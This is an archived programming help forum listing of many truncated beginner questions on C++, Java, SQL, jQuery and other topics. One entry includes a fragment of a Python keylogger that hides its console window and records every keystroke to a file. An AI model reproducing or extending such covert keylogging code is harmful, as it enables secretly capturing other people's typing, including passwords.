199,114 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for sho12345

Ok so today I tried translating the ever confusing pseudo codes that our books give us and this happened. First of all, queues and lists are built in functions in the c++ library right? I have a bunch of compiler errors that wont go away. Queue undeclared, list undeclared, ifstream …

Member Avatar for sho12345
0
274
Member Avatar for bsewell

Hi all, I'm trying my first bit of jQuery code but am familiar with Java programming. I'm trying to create a function that loads a div with an image in it, which will fade in and then after 4 seconds move onto the next image. I want it to create …

Member Avatar for rajarajan2017
0
236
Member Avatar for slckrck89

Okay, here's the deal. I haven't tried to compile my code yet, because it's just a class library that I'm creating so far - nothing needed to be ran. Anyways, here's my code: [CODE=c++]const std::vector<Item*>& Inventory::setItems(const Item* itms, crUINT numOfItms) { _itms.clear(); for (UINT i = 0; i < numOfItms; …

Member Avatar for slckrck89
0
82
Member Avatar for phingko

Hi guys, I have a xml file that contains all the articles with few authors for each of them. something like this; [QUOTE]<authors> <author> <surname>Middleton</surname> <firstname>Karen L.</firstname> </author> <author> <surname>Chambers</surname> <firstname>Valrie</firstname> </author> </authors>[/QUOTE] I can display them in HTML well the problem is, the way I want to display is …

Member Avatar for rajarajan2017
0
121
Member Avatar for ItecKid

Hello, I have two different tables I need to extract data from. They are linked by a number, that is to say the value of the field 'number' in table 1 is the same value as the value of the field 'num' in table 2. I can select data from …

Member Avatar for urtrivedi
0
137
Member Avatar for Bonolo

Hi guys please help am trying to bind my combo boxes to the datagridview.What i want to do is to select data from the combo boxes and that data to be transferred immediately to the datagridview and that data in datagridview as well to be saved to the database.please help.

Member Avatar for rohand
0
86
Member Avatar for m-hrt

i have made a popup menu in fireworks cs3 its working fine in all browsers the problem is that its hiding under the flash features bar as shown in the image where in firefox its working fine what should i do? Internet explorer [IMG]http://i44.tinypic.com/2mhczr5.jpg[/IMG] Firefox [IMG]http://i43.tinypic.com/30tm3qv.jpg[/IMG] Coding: [code]<!DOCTYPE html PUBLIC …

Member Avatar for rajarajan2017
0
237
Member Avatar for Alq Veers

Hi guys, Im trying to bring up a new window then the Credits button located in the help menu is clicked. Im trying to run it as a command. So right now, that code doesnt work unless you comment out the creditsCommand region. So can anyone point me in the …

Member Avatar for Alq Veers
0
155
Member Avatar for marc0627

good day to all.. i am new in making macro in excel and i want to make a macro that will copy a certain range to my active sheet and print it... I have a multiple file so i already made a form for the program that will ask the …

Member Avatar for marc0627
0
96
Member Avatar for krishnisilva

hi, i have created a login form for my project and coded it, but when the username and the passsword is correct i have added the below code Qustion 1 [CODE]if (u.accessGranted(txtUsername.Text, txtPassword.Text)) { ClearTextBoxes(); new frmMainMenu().Show(); // main form after the login this.Close();//login form }[/CODE] but when the login …

Member Avatar for rsodarith
0
150
Member Avatar for fellixombc

I get an error when I try compiling with #include <cmath>, yes, I've tried with -lm, still does not work. Compiler: MinGW Compile.bat: [CODE]@echo off echo Compiling... g++.exe main.cpp -o "Distance.exe" -lm pause [/CODE] cmath IS in MinGw include folder. C:\MinGW\include\c++\3.4.5\cmath Any ideas?

Member Avatar for NathanOliver
0
415
Member Avatar for Eris32

Hi, I've been working on this a few days and I'm kinda stuck. my error is in line 38- average =ave(&ParentsAge,sizeof(ParentsAge)); If anyone has any ideas as to what I am doing wrong, I would love to finally figure this out!! Thanks #include <iostream> using namespace std; void displayTitle () …

Member Avatar for Eris32
0
173
Member Avatar for nola_Coder

For some strange reason, my game's score counter is not working correctly. I threw in an enemy, which just walks back and forth between two blocks in the map. I know I probably didn't program the enemy the smartest way, and I'm probably about to change it. Instead of programming …

Member Avatar for NathanOliver
0
111
Member Avatar for wewehalim

Hi, i am making a payment detail form which required user to put the detail of their credit card as well as the expiry month and year for the credit card. The "expiry month" and "expiry year" field is separated into different fields. The validator should check that the expiry …

0
72
Member Avatar for drummy

Hi Group, Need some help. I'm performing some statistics on a txt file that has multiple columns using a collection list (vb.net 2008). My files can contain 100,000+ samples per file. How would I code my function to have it perform work on the first 3000 samples and continue the …

Member Avatar for drummy
0
154
Member Avatar for evans007

So I'm trying to loop and read in values from my csv while there are values to be read. What do I use for the while condition? I tried all manner of things..... [CODE] void load() {//read from file ifstream inFile("csv.txt"); string line; if(inFile.is_open()) { } else { cout << …

Member Avatar for NathanOliver
0
109
Member Avatar for Jaks_maths
Member Avatar for raghuram1987
0
339
Member Avatar for jozz3

I'm just playing around with basic GUI code. I have created two check boxes, and a text field below them. I want it to say, "I like Pizza", 'I like Pasta", "I like nothing", or "I like Pizza and Pasta" in the text field depending upon which checkboxes are ticked. …

Member Avatar for woooee
0
107
Member Avatar for jko2326

I had to convert one of my programs into an applet. And most of it I copied and pasted, but the program is suppose to let the user input a number in the texfield and when they click one of the radio button options the calculate resuls are suppose to …

Member Avatar for moutanna
0
136
Member Avatar for Siren88

Hi, I am trying to create a graphical program that visually stimulates the path of the sun over a city skyline. I've created a Time button but I don't know how to move my sun to the right each time I click on "Time". The program should works like this: …

Member Avatar for otherdummy
0
140
Member Avatar for maf5693

alright I am trying to develop an operating system with assembly. I have written the boot loader and the beginnings of a kernel-however I am having a problem printing characters to the screen. Here is my bootloader [CODE] use16 ; We need 16-bit intructions for Real mode ORG 0x7C00 ; …

Member Avatar for maf5693
0
327
Member Avatar for sainiweb

I have this code which not give me desired result I want output as same http://www.asteraweb.co.uk/wrap_example.html same as like first container have I have this code but its working on no. of word and missing some words in the last <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> …

Member Avatar for fxm
0
165
Member Avatar for Geodude0487

So my teacher this semester is the worst I ever had, I can not get a hold of him at all for help on these labs I've been working on them and trying to get his help on them for the past 3 weeks but since it's an online class, …

Member Avatar for Geodude0487
0
125
Member Avatar for close_encounter

What I'm trying to accomplish is for the program to ask the user for their username and password and display it to the screen like this "John, abc123" after the function passwordCheck has confirmed that the password is not less then 5 characters. If the password is less then 5 …

Member Avatar for close_encounter
0
94
Member Avatar for bobbymoir

My SEF URLs are working fine on my local machine (WAMP Server) but when i upload it to server (Server API : CGI) it shows all the pages as 404 error. Here is the code i use : [CODE] 1) .htaccess : Options -Indexes RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteRule …

Member Avatar for bobbymoir
0
160
Member Avatar for idlackage

I'm trying to make a method that would create a new tab with a specified name and a white background. However, nothing I pass in (whether it's a JPanel, JButton, etc.) would show up in the final result. I can't tell what's wrong. [CODE]import javax.swing.JFrame; import javax.swing.JPanel; import java.awt.BorderLayout; import …

Member Avatar for idlackage
0
130
Member Avatar for adam2009

Hello, I have used the following article to create N local users: [url]http://www.codeproject.com/KB/system/everythingInAD.aspx?msg=3448333#xx3448333xx[/url] How do I set some batch file ,that I have wrote ,to be executed right when each user logs-in? (Include it in the statup functions to be executed). Cheers,

Member Avatar for adam2009
0
171
Member Avatar for ejohns85

Hello, I am using the computer vision libraries in OpenCV - if anybody is familiar with these then maybe you can help ;) I am trying to estimate the fundamental matrix between two images, using cvFindFundamentalMat(). I have created two matrices representing points in the left (points1) and right (points2) …

Member Avatar for daviddoria
0
158
Member Avatar for timbomo

im trying to figure out how i count the number of 5 letter words in a file and the number of 6 or greater words in the same file using a string. all the examples are at higher level of programming im just a beginner. my books very briefly tells …

Member Avatar for Erco21
0
106
Member Avatar for tyuo9980

I have made a simple keylogger but there are some problems with it. [CODE]import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==28: _exit(1) if event.Ascii != 0: f=open('C:\Users\Peter\Desktop\output.txt','r') buffer=f.read() f.close() f=open('C:\Users\Peter\Desktop\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n/' if event.Ascii==32: keylogs='/s/' if event.Ascii==8: keylogs='/b/' if …

Member Avatar for tyuo9980
0
152
Member Avatar for Obsidian_496

My program has to open a text file. I want it to give an error message if the file does not exist (or has a diferent name, which is the same, really). I'm using a pretty old Borland compiler, because home assingnments are checked with it. Compiler shows me this …

Member Avatar for hag++
0
160
Member Avatar for kiyu2keith

Salon membership fee Male = 600 Female = 500 If Foreigner +850 n for not foreign f if foreign my code is [CODE] public static void main(String[] args) { String gender, nat; gender=JOptionPane.showInputDialog("Gender"); nat=JOptionPane.showInputDialog("Nationality"); if (gender=="m" & nat=="n"){ JOptionPane.showMessageDialog(null,"Gender:" +gender +"\nNationality"+nat+"Fee is 1450" [/CODE] This code doesn't work so I …

Member Avatar for kiyu2keith
0
109
Member Avatar for madi-lin

I am a beginner when it comes to jsp, so sorry if the code is really bad. I need to be able to convert images to and from byte[] to store and display images, but I am not sure how to do it. I have a form first for uploading …

Member Avatar for jwenting
0
889
Member Avatar for Protoroll

Okay, so I wrote a method that goes through the arraylist checks if the items has the maximum value, which is ten, and returns it in a new arraylist. I got that method to work, but I am having trouble writing the test class for it. It keeps returning false. …

Member Avatar for cale.macdonald
0
89
Member Avatar for ceyesuma

Hello Could someone point out what I need to change in the code I have so far? I would like to use XML format in a properties file. The original .properties worked but this will not load the new formatted .properties. I have an app that loads properties in ModelUtils.java …

0
68
Member Avatar for zerioni

Okay, fairly straightforward mysql insert from a form, the insert works fine but i wanted to have it check for duplicates first and kick out an error if the name already existed in the table. That said, I worked out a few errors in the jsp, and have it down …

Member Avatar for zerioni
0
6K
Member Avatar for Cory_Brown

I'm stuck on checking a set of lists to see if they have values. I have 8 lists that are created in my program and I need to check if the lists have any values at all. If all 8 lists return values I want to return true. If any …

Member Avatar for Sodabread
0
106
Member Avatar for Learner7

Hi, How can I call this sub? Getting an error as it is attached in the .JPG. Please help. Thanks.

Member Avatar for Learner7
0
59
Member Avatar for LevyDee

So is it worth learning win32 API instead of just shooting straight to Microsoft Foundation Classes? One of my classes covered win32 for a little and I was able to do a couple fun things with it, but then we jumped into MFC. It makes you ask the question, is …

Member Avatar for LevyDee
0
103
Member Avatar for nemoo

hey all :) I'm trying to draw an arrow at the runtime in a windows application between two controls those controls are like a circle and a bar and I need to click a button then select those two controls one after the other then an arrow is drawn from …

Member Avatar for nemoo
0
416
Member Avatar for Heba91

Write a program which takes a single integer input "height" and displays a "pyramid" of this height made up of "*" characters on the screen. Sample Output: Pick another height (must be between 1 and 30): the triangle must be equilataural * *** ***** ******* ********* *********** *************

Member Avatar for bsewell
0
122
Member Avatar for MWE_QUE

Thanks in advance for any help I can get. This is a que I need to add in to another program. It is almost straight out of the book, and a lot like my working stack implementation. It steps through correctly when I go line by line, but I'm not …

Member Avatar for nezachem
0
105
Member Avatar for red999

I implemented a BFS on a maze that I made, but the one problem that I have is that I do not know how to obtain the indices of the path that it took to solve the maze. Right now all my BFS algorithm does it prints out if it …

Member Avatar for WaltP
0
159
Member Avatar for aliirooni

hi, i have an error in my syntax where define operator +() . compiler says "declaration syntax error" i have. what is my fault!? [code=c] #include<iostream.h> class exforsys{ private: int x,y; public: exforsys(){x=0; y=0;} void getvalue(){ cout<<"\n enter value for x:"; cin>>x; cout<<"\n enter value for y:"; cin>>y; } void …

Member Avatar for Salem
0
133
Member Avatar for CarleneGriffith

I am having a problem with my code. below i have outlined the home work requirement. please take a look at the second part(this is the code that i have written) I keep getting an error when i try to run the code. The error states:The program '[3716] Lab02 Case01.exe: …

Member Avatar for WaltP
0
112
Member Avatar for immortalvegan

I'd like to start using databases with my websites. I use PayPal shopping cart now and want to automate adding sales items for my customers product. It seems like PHP/MySQL is the easy answer. Am I right? I don't really want to build a whole cart just most of a …

Member Avatar for drjohn
0
130
Member Avatar for robski

Hi everyone. Could someone please help me with this. I have a program which i have written and finished for a college assignment. It is completely done. I have a perfect working copy on my laptop but when i copy it to usb stick and take it to college it …

Member Avatar for WaltP
0
224
Member Avatar for pjrey

all is well so far, just little hicups... one being.. i have a .pl script that logs ip/host time and date etc... i have changed the includes and it is functioning (ie, no 500 errors) but it is logging the server i am being hosted on [ Time: Tuesday May …

Member Avatar for almostbob
0
118
Member Avatar for dylan9

Hey guys, this is my first time posting. I'm almost done with the whole program but the only problem left is the word frequency counter. I have file(.txt) that the program reads on and it outputs the words aphabetically and if the word has been seen, it adds a count …

Member Avatar for abhimanipal
0
2K
Member Avatar for antra1234

char *default message[]="hghgghjgh" char *message=defaultmessage tis line showing error as 'initializing':cannot convert from 'const char[ 9] to 'char *[]' can u help me....?

Member Avatar for abhimanipal
0
118

The End.